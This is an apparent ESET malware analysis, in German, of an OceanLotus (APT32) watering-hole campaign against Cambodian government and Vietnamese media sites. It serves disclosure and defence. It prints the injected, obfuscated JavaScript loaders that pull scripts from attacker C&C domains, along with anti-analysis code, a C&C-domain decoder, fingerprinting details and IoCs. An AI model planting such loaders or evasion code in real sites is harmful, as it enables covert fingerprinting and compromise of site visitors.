ESET-Forscher haben eine neue Watering Hole Kampagne auf mehrere Webseiten in Südostasien entdeckt, die vermutlich seit September 2018 aktiv ist. Der großangelegten Attacke konnten wir mindestens 21 kompromittierte Webseiten zuordnen. Einige davon stechen besonders heraus. Zu den kompromittierten Webseiten gehören beispielweise das Verteidigungsministerium von Kambodscha, das Außenministerium und das Ministerium für internationale Zusammenarbeit von Kambodscha sowie mehrere vietnamesische Zeitungen oder Blogs.

Nach eingehenden Analysen sind wir uns ziemlich sicher, dass die Watering Hole Kampagne der OceanLotus-Gruppe zuzuschreiben ist.[1] Die Cyber-Gang ist auch unter APT32[2] und APT-C-00 bekannt. Die E-Spionage-Truppe OceanLotus ist seit mindestens 2012 aktiv.[3] Ihre hauptsächlichen Ziele sind ausländische Regierungen und Dissidenten.

Die Kampagne scheint laut Volexity-Forschern eine Entwicklung des OceanLotus Framework B zu sein – ein Watering Hole Schema, dass sie im Jahr 2017 dokumentierten.[4] Die Cyber-Angreifer verbesserten ihr tückisches Framework, um Analysen zu verkomplizieren und zu verlangsamen. Daneben sind sie dazu übergegangen, öffentliche Schlüssel-Kryptografie zu benutzen, um AES-Sitzungsschlüssel auszutauschen. Diese verschlüsseln nachgelagerte Kommunikationen, was Sicherheitsprodukte letztendlich daran hindert, die eigentliche Payload aufzuspüren. Außerdem wechselten die OceanLotus-Entwickler von HTTP auf WebSocket, um die arglistigen Kommunikationen zu verstecken.

Die ESET-Forscher identifizierten 21 verschiedene Websiten, die von den Angreifern kontrolliert wurden. Abbildung 1 zeigt die Region, auf welche die Watering Hole Kampagne abzielt.

Kambodscha und Vietnam stehen im Fokus der Watering Hole Kampagne

Abbildung 1: Kambodscha und Vietnam stehen im Fokus der Watering Hole Kampagne

Die meisten kompromittierten Domains gehören Nachrichten-Webseiten oder zur kambodschanischen Regierung. Die nachstehende Tabelle listet die verschiedenen Opfer der OceanLotus-Kampagne. Wir haben alle bereits im Oktober benachrichtigt. Die meisten Webseiten beinhalten aber noch immer die bösartigen Skripte in ihren Webseiten. Wir empfehlen keinem, diese Webseiten zu besuchen.

Compromised domain Description
baotgm[.]net Media in Vietnamese (based in Arlington, Texas)
cnrp7[.]org Cambodia National Rescue Party
conggiaovietnam[.]net Related to Religion – In Vietnamese
daichungvienvinhthanh[.]com Related to Religion – In Vietnamese
danchimviet[.]info Media in Vietnamese
danviet[.]vn Media in Vietnamese
danviethouston[.]com Media in Vietnamese
fvpoc[.]org Former Vietnamese Prisoners of Conscience
gardencityclub[.]com Golf club in Phnom Penh, Kingdom of Cambodia
lienketqnhn[.]org Media in Vietnamese
mfaic.gov[.]kh Ministry of Foreign Affairs and International Cooperation of Cambodia
mod.gov[.]kh Ministry of Defense of Cambodia
mtgvinh[.]net Related to Religion – In Vietnamese
nguoitieudung.com[.]vn Media in Vietnamese
phnompenhpost[.]com Cambodian newspaper in English
raovatcalitoday[.]com Unknown – In Vietnamese
thongtinchongphandong[.]com Opposition media in Vietnamese
tinkhongle[.]com Media in Vietnamese
toithichdoc.blogspot[.]com Blog in Vietnamese
trieudaiviet[.]com Unknown – In Vietnamese
triviet[.]news Media in Vietnamese

Normalerweise attackieren Cyber-Angreifer durch eine Watering Hole Attacke solche Webseiten, die von ihren eigentlichen Zielen des Öfteren besucht werden. Dieses Mal kompromittierten sie außerdem Webseiten, die generell eine große Besucherzahl verzeichnen. Die folgende Tabelle zeigt den Alexa Rank der attackierten Webseiten zum Zeitpunkt der Erstellung des Artikels. Beispielsweise wurde die Webseite der Dan Viet Zeitung kompromittiert, welche die 116te am häufigsten besuchte Webseite in Vietnam ist.

Domain Alexa rank (global) Alexa rank (in the most popular country)
danviet[.]vn 12,887 116
phnompenhpost[.]com 85,910 18,880
nguoitieudung.com[.]vn 261,801 2,397
danchimviet[.]info 287,852 144,884
baotgm[.]net 675,669 119,737
toithichdoc.blogspot[.]com 700,470 11,532
mfaic.gov[.]kh 978,165 2,149
conggiaovietnam[.]net 1,040,548 15,368
thongtinchongphandong[.]com 1,134,691 21,575
tinkhongle[.]com 1,301,722 15,224
daichungvienvinhthanh[.]com 1,778,418 23,428
triviet[.]news 2,767,289 Not available
mod.gov[.]kh 4,247,649 3,719
raovatcalitoday[.]com 8,180,358 Not available
cnrp7[.]org 8,411,693 Not available
mtgvinh[.]net 8,415,468 Not available
danviethouston[.]com 8,777,564 Not available
lienketqnhn[.]org 16,109,635 Not available
gardencityclub[.]com 16,109,635 Not available
trieudaiviet[.]com 16,969,048 Not available
fvpoc[.]org Not available Not available

Analyse der OceanLotus-Kampagne

Der Modus Operandi bei allen kompromittierten Webseiten gestaltet sich ähnlich. Die Angreifer fügen eines kleines Stück JavaScript-Code in die Index-Seite oder in eine JavaScript-File auf demselben Server hinzu. Der leicht verschleierte untenstehende Code lädt dann ein anderes Script von einem C&C-Server der OceanLotus-Angreifer. Beispielsweise der in  https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js hinzugefügte Code soll die folgende Datei laden: https://weblink.selfip[.]info/images/cdn.js?from=maxcdn.

(function() {
    var pt = "http";
    var l = document.createElement('script');
    l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn';
    document.getElementsByTagName('body')[0].appendChild(l)
})('web', 'a', 'link', '.self');

Abbildung 2 – Das Stück JavaScript Code, das beispielsweise zu mfaic.gov[.]kh hinzugefügt wurde

Um nicht enttarnt zu werden, ergriffen die OceanLotus-Entwickler folgende Maßnahmen:

  • Sie verschleiern die Skripts, um eine statische Extraktion der endgültigen URL zu verhindern.
  • Die URL sieht aus wie eine echte JavaScript-Bibliothek, die auch von der Website verwendet wird.
  • Sie verwenden eine andere Domain und einen unterschiedlichen URI für jede gefährdete Website.
  • Das Skript unterscheidet sich je nach kompromittierter Webseite. Der folgende Code ist das Skript, das in eine andere gefährdete Website eingefügt wird:
var script = document.createElement("script");
var i = 'crash-course';
var s = "fzgbc knowsztall znfo";
var _ = '/';
var e = "VisitorIdentification.js?sa=" + i;
script.async = true;
script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e;
var doc = document.getElementsByTagName('script')[0];
doc.parentNode.insertBefore(script, doc);

Abbildung 3 - Ein weiteres Stück JavaScript wurde zielgerichtet in eine Webseite eingefügt

First Stage Script

Je nach IP-Adresse des Webseiten-Besuchers übergibt der First Stage Server – beispielsweise weblink.selfip[.]info for mfaic.gov[.]kh – entweder ein Köder-Skript (zufällige legitime JavaScript-Bibliothek) oder das First Stage Script (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A). Nicht alle Server vollziehen den Location-Check. Bei Aktivierung übergeben die Server allerding nur an Webseiten-Besucher aus Vietnam oder Kambodscha das schädliche JavaScript.

Das First Stage Script wird mehrere Checks vollziehen, um einer Entdeckung zu entgehen (siehe Abbildung 4).

[…]
function t(n) {
    var r = this;
    !function (t, n) {
        if (!(t instanceof n))
            throw new TypeError('Cannot call a class as a function');
    }(this, t), this.t = {
        o: null,
        s: !0
    }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () {
        r.i || r.scr && !r.t.s && (r.scr = !1, r.c(n)), r.i = !1;
    });
}
return t.prototype.r = function () {
    var t = this;
    setInterval(function () {
        var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal';
        r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (t.t.s = !1, t.t.o = null) : (t.t.s = !0, t.t.o = e);
    }, 500);
}
 […]

Abbildung 4 - First Stage JavaScript Payload

Das Skript wartet, bis das Opfer auf der Webseite blättert. Es überprüft auch die Auflösung des Fensters und ob Firebug, eine Browsererweiterung zur Analyse von Webseiten, aktiviert ist. Wenn eine der Prüfungen fehlschlägt, wird die Code-Ausführung abgebrochen.

Wenn alles funktioniert, dekodiert der Code die C&C-Domain mit Hilfe eines maßgeschneiderten Algorithmus. Beispielsweise ergibt 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 die Domain: wss://tcog.thruhere[.]net. Für jede First Stage Domain registrierten die Angreifer auch eine andere Second Stage Domain, die jeweils auf einem anderen Server gehostet wurde. Der Code in Abbildung 5 entspricht der Entschlüsselungsfunktion (Python).

def decrypt(encrypted_url):
	s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
	return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))

Abbildung 5 - Python Code um C&C-server zu entschlüsseln

Sobald die C&C-Adresse entziffert wurde, sendet das Skript einen einzigartigen String, bestehend aus 15 Ziffern, um darauf das Second Stage Script zu empfangen und auszuführen. Die gesamte Kommunikation erfolgt über WebSocket via SSL. Es ermöglicht eine Vollduplexkommunikation zwischen Client und Server. Das bedeutet, dass ein Server, sobald der Client eine Verbindung hergestellt hat, Daten an den Client senden kann, auch wenn der Client keine Anforderung verschickte. OceanLotus setzt in der Watering Hole Kampagne wahrscheinlich aus Gründen der Tarnung auf WebSocket.

Second Stage Script

Das Second Stage Script erweckt den Eindruck eines Aufklärungsskripts. Die OceanLotus-Entwickler verwendeten Valves Fingerprintjs2-Biblothek, welche auch auf Github zu finden ist. Diese modifizierten sie leicht, um Netzwerkkommunikation und benutzerdefiniertes Reporting hinzuzufügen.

Abbildung 6 beschreibt den Flow der Second Stage Payload. Alle Kommunikationen finden über die in Stage 1 geöffnete WebSocket-Session statt.

Flow der Second Stage Payload

Abbildung 6: Flow der Second Stage Payload

Die Kommunikation ist durch einen AES Session Key gesichert, wobei dieser vom Server generiert wird. Durch die Verwendung eines RSA 1024-bit Public Keys ist es nicht möglich, die Kommunikation zwischen Client und Server zu entschlüsseln.

Im Vergleich zu den Vorgängern des Watering Hole Frameworks ist es für Verteidiger dieses Mal viel schwieriger, da die über das Netzwerk gesendeten Daten nicht erkannt und dann entschlüsselt werden können. Der vom Server gesendete Public Key ist allerdings immer derselbe und steht im Abschnitt IoCs zur Verfügung.

Das Aufklärungsskript erstellt einen Bericht – ähnlich dem unten gezeigten – und sendet ihn an den C&C-Server aus der Second Stage.

{
  "history": {
    "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-",
    "client_url": "https://www.mfaic.gov.kh/",
    "client_cookie": "",
    "client_hash": "",
    "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos",
    "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
    "client_time": "2018-10-21T12:43:25.254Z",
    "timezone": "Asia/Bangkok",
    "client_network_ip_list": [
      "192.168.x.x",
      "x.x.x.x"
    ],
    "client_api": "wss://tcog.thruhere.net/",
    "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7",
    "client_uuid": "a612cdb028e1571dcab18e4aa316da26"
  },
  "navigator": {
    "plugins": {
      "activex": false,
      "cors": true,
      "flash": false,
      "java": false,
      "foxit": true,
      "phonegap": false,
      "quicktime": false,
      "realplayer": false,
      "silverlight": false,
      "touch": false,
      "vbscript": false,
      "vlc": false,
      "webrtc": true,
      "wmp": false
    },
    "_screen": {
      "width": 1920,
      "height": 1080,
      "availWidth": 1920,
      "availHeight": 1080,
      "resolution": "1920x1080"
    },
 "_plugins": [
[...]

Abbildung 7 - Fingerprint-Bericht

Der Bericht ist nahezu mit dem identisch, der vom OceanLotus Framework B generiert wird. Letzteres dokumentierten die Volexity Researcher im Jahr 2017. Die verschiedenen Abschnitte gleichen sich und beinhalten sogar dieselben Tippfehler. Aufgrund der Ähnlichkeiten und der Lage der Ziele sind wir davon überzeugt, dass es sich bei der Kampagne um OceanLotus handelt.

Der erstellte Bericht enthält detaillierte Informationen über den Browser des Opfers und zu besuchten Webseiten: Den User-Agent, den HTTP-Referer, die lokale und externe IP-Adresse, die Browser Plugins und die konfigurierten Spracheinstellungen.

Außerdem gibt es zwei eindeutige “Bezeichner“ für jeden Rechner, als client_zuuid und client_uuid bezeichnet. Sie dienen wahrscheinlich der User-Identifizierung und der Verfolgung über Webseiten hinweg. Diese “Bezeichner“ waren in der Version 2017 des Frameworks bereits vorhanden, und client_uuid wurde auf ähnliche Weise berechnet.

Client_zuuid ist die Verkettung der verschiedenen in navigator.mediaDevices.enumerateDevices enthaltenen deviceId-Werte. Die Geräte sind externe Geräte, auf die der Browser zugreifen kann, z. B. Kameras oder Mikrofone. Daher sollte dieser Wert für einen bestimmten User bei verschiedenen Webseiten-Besuchen auf demselben Computer gleich sein.

Das client_uuid ist ein MD5-Hash einiger Fingerabdruckinformationen, die durch fingerprintjs2 extrahiert werden. Zu den gesammelten Informationen gehören der Browser User-Agent, die Sprache, die Zeitzone, die Browser-Plugins und die im Browser verfügbaren Schriftarten. Auch diese Werte sollten bei allen Webseitenaufrufen identisch sein, es sei denn, der Benutzer aktualisiert beispielsweise den Browser oder verwendet ein anderes Gerät.

Letztendlich kann der Server zusätzlichen JavaScript-Code an den betroffenen Computer senden, möglicherweise die tatsächliche Payload. Aufgrund der Verwendung eines AES-Sitzungsschlüssels zur Kommunikationsverschlüsselung konnten wir leider keine Beispiele für von den Angreifern gesendete Payloads „in freier Wildbahn“ identifizieren. Darüber hinaus werden nur bestimmte Ziele mit der eigentlichen Payload versorgt.

Daher konnten wir die Payload nicht auf Test-Rechnern analysieren. Früheren Berichten zufolge zielen die OceanLotus Watering Hole Kampagnen darauf ab, Informationen von Opfern zu ergaunern (Phishing). Zum Beispiel berichtete Volexity, dass den Usern ein Popup angezeigt wurde, in dem der OAuth-Zugriff auf das Google-Konto des Opfers für eine OceanLotus-Google-App genehmigt werden sollte. Mit dieser Technik können Angreifer auf die Kontakte und E-Mails der Opfer zugreifen.

Netzwerkinfrastruktur

Um bestmöglich getarnt zu sein, registrierten die OceanLotus-Operatoren jeweils eine First und eine Second Stage Domain pro kompromittierter Webseite. Jede Domain ist auf einem anderen Server gehostet und besitzt eine individuelle IP-Adresse. Insgesamt hat die Gruppe mindestens 50 Domains und 50 Server für die Kampagne registriert.

Viele der First Stage Domains wurden durch kostenfreie Domain Name Services registriert, die meisten Second Stage Domains dagegen entgeltlich. Darunter befinden sich Webseiten, die sonst legitime Seiten nachahmen. In Tabelle3 sind einige davon aufgelistet.

C&C domain Legitimate domain
cdn-ampproject[.]com cdn.ampproject.com
bootstraplink [.]com getbootstrap.com
sskimresources[.]com s.skimresources.com
widgets-wp[.]com widgets.wp.com

Die Anzahl der verwendeten Domains und deren Ähnlichkeit mit legitimen Webseiten machen eine Erkennung bzw. Enttarnung schwieriger, wenn man nur auf den Network Traffic blickt.

Fazit

Obwohl die OceanLotus-Gruppe unter Beobachtung vieler Cyber-Forscher steht, setzt sie ihre Aktivitäten gegen Ziele in Südostasien unbeeindruckt fort. Regelmäßig verbessern sie ihre Tools, wie zum Beispiel ihr Watering Hole Framework oder ihre Windows- oder MacOS-Malware. Das Watering Hole Framework hat die bislang höchste bekannte Entwicklungsstufe erreicht. Das ist nur eine weitere Erinnerung daran, dass APT-Gruppen nach wie vor genau beobachtet werden sollten.

Um die Anzahl an potentiellen Opfern zu minimieren, haben wir alle Webseiten-Betreiber der kompromittierten Seiten informiert, damit sie die schädlichen JavaScripts entfernen. Leider zeigten sich einige nicht sehr beeindruckt und haben bis dato noch nicht gehandelt.

ESET-Forscher werden die Entwicklung des OceanLotus-Toolsets weiterhin verfolgen. IoCs sind auch auf GitHub zu finden. Fragen und Samples bitte an folgende Mail-Adresse senden: threatintel@eset.com

References

[1]         ESET Research, "OceanLotus: Old techniques, new backdoor," 03 2018. [Online]. Available: https://web-assets.esetstatic.com/wls/2018/03/ESET_OceanLotus.pdf.

[2]         N. Carr, "Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations," FireEye, 14 05 2017. [Online]. Available: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.

[3]         Sky Eye Lab, "OceanLotus APT Report Summary," 29 05 2015. [Online]. Available: http://blogs.360.cn/post/oceanlotus-apt.html.

[4]         S. K. S. A. Dave Lassalle, "OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society," Volexity, 06 11 2017. [Online]. Available: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/.

Indicators of Compromise (IoCs)

Files

Description SHA-1 SHA-256 Detection name
First stage script 2194271C7991D60AE82436129D7F25C0A689050A 1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7 JS/Agent.NYQ
Second stage script 996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8 8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62 JS/Agent.NYR

Network IoCs

Description SHA-1 SHA-256 Detection name
First stage script 2194271C7991D60AE82436129D7F25C0A689050A 1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7 JS/Agent.NYQ
Second stage script 996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8 8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62 JS/Agent.NYR

RSA Public Key sent by the server

-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X

/ABJB2M+urEvxJStRuL/+u/a9oJ6XL4JTFceYqJiSsXvwD/wDfgI00zCdmJ7xgw+

rpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao

hEXZ94it73j02h+JtQIDAQAB

-----END PUBLIC KEY-----